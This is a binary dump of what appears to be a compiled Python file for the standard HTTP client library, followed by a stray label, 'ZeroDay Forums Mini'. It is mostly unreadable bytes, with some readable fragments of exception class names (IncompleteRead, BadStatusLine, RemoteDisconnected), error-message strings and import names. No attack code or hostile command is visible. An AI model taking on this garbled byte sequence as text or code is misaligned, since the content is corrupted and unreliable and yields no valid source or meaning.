rr�rmrr�r�s@rr�r�ws��������2�!��'+�T�T�#�;�$(�%	>�59�$(�D�%	>�%	>�%	>�%	>�%	>�%	>�%	>�N	S�	S�	S�	S�	S�	S�	S�	S�	Sr r�c��eZdZdS)rN�rBrCrDrr rrr�s������	�Dr rc��eZdZdS)rNr�rr rrr���������Dr rc��eZdZdS)rNr�rr rrr�r�r rc��eZdZd�ZdS)rc�$�|f|_||_dSr�)�argsrc)r<rcs  rrmzUnknownProtocol.__init__�s���H��	�����r N�rBrCrDrmrr rrr�s#����������r rc��eZdZdS)r	Nr�rr rr	r	�r�r r	c��eZdZdS)r
Nr�rr rr
r
�r�r r
c�*�eZdZdd�Zd�ZejZdS)rNc�2�|f|_||_||_dSr�)r��partial�expected)r<r�r�s   rrmzIncompleteRead.__init__�s���H��	���� ��
�
�
r c�r�|j�d|jz}nd}d|jjt|j��|fzS)Nz, %i more expectedrpz%s(%i bytes read%s))r�r�rBr8r�r*s  r�__repr__zIncompleteRead.__repr__�sE���=�$�$�t�}�4�A�A��A�$���(?�(+�D�L�(9�(9�1�(>�>�	>r r�)rBrCrDrmr�r+�__str__rr rrr�s:������!�!�!�!�>�>�>��n�G�G�Gr rc��eZdZdS)r
Nr�rr rr
r
�r�r r
c��eZdZdS)rNr�rr rrr�r�r rc��eZdZdS)rNr�rr rrr�r�r rc��eZdZdS)rNr�rr rrr�r�r rc��eZdZd�ZdS)rc�F�|st|��}|f|_||_dSr�)rsr�r@r�s  rrmzBadStatusLine.__init__�s)���	���:�:�D��E��	���	�	�	r Nr�rr rrr�s#����������r rc��eZdZd�ZdS)rc�P�t�|dt|fz��dS)Nz&got more than %d bytes when reading %s)rrmrK)r<�	line_types  rrmzLineTooLong.__init__�s6�����t�%M�(0�)�'<�&=�	>�	>�	>�	>�	>r Nr�rr rrr�s#������>�>�>�>�>r rc��eZdZd�ZdS)rc�f�t�|d��tj|g|�Ri|��dS)Nrp)rrm�ConnectionResetError)r<�pos�kws   rrmzRemoteDisconnected.__init__�s?�����t�R�(�(�(��%�d�7�S�7�7�7�B�7�7�7�7�7r Nr�rr rrr�s#������8�8�8�8�8r r)r%)B�email.parserrU�
email.messager(rr��rerr#�collections.abcr2�urllib.parser�__all__rr�rbr�rMrp�globals�updater�__members__rlrrKrL�compile�	fullmatchrir`rkrfr_r�r1r �Messager3rOrZ�BufferedIOBaserrr�r�r;�ImportError�	Exceptionrrrrr	r
rr
rrrrrr�rrrr r�<module>r�s��D�L����������������	�	�	�	�	�	�	�	�
�
�
�
�
�
�
�
�����!�!�!�!�!�!�����
�	�
�
�����#������	�	�����,�-�-�-�
H�G�$�/�"=�"D�"D�"F�"F�G�G�G�	�����6#��
�#6�7�7�A��%�2�:�&C�D�D�K��%/�B�J�/@�$A�$A�!�(2�r�z�-�'@�'@�$�3�2�2��E�E�E�E������%�-�'����<���$)�@�@�@�@�e�e�e�e�e�2�$�e�e�e�NZ	�Z	�Z	�Z	�Z	�Z	�Z	�Z	�x@&��J�J�J�9S�9S�9S�9S�9S�.�9S�9S�9S�v�N�N�$�%�%�%�%��}�	�	�	��D�	����@	�	�	�	�	�I�	�	�	�
	�	�	�	�	�=�	�	�	�	�	�	�	�	��	�	�	������m����
	�	�	�	�	�m�	�	�	�	�	�	�	�	�M�	�	�	������]����	�	�	�	�	�m�	�	�	�	�	�	�	�	�/�	�	�	�	�	�	�	�	�.�	�	�	�	�	�	�	�	�.�	�	�	������M����>�>�>�>�>�-�>�>�>�
8�8�8�8�8�-�}�8�8�8�	���s�"E
�
E�E

ZeroDay Forums Mini